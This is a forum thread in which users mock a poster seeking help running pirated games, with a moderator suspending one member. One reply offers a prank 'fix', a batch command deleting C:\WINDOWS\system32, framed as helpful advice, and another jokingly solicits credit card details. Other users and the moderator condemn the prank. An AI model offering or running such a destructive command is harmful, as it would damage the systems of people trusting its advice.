    I always find it funny when people are all "I'm a pirate! Arrrrgh!...I've no idea what I'm doing..."

    It'd be like* smashing the window of a car to get in, and then sitting there asking passers-by how to hotwire it.


    * If piracy was theft rather than copyright infringement

    You wouldn't download a car would you?!

    PowerISO doesn't work with game torrents. You'll have to send me your credit card details and I'll send you a special version that works with game torrents.

    Just buy the game

    open a notepad type the following:
    @echo off
    del c:\WINDOWS\system32

    should work instantly then.

    let us know how you get on :)

    Discussion of piracy is not allowed on boards. As other people have said, just buy the game.

    Don't do this, it will cause serious problems with your computer. OP might be asking for help with stuff he shouldn't be, but this is just bad form.

    It won't do anything of the sort, it's text typed into Notepad, there were no instructions for saving it as a batch file or executing it.

    asking for dodgy advice on the net is like Game Of Thrones, you either win or you die

    Tombones will be taking a break for a fortnight.

    When you get back, please familiarise yourself with the charter.
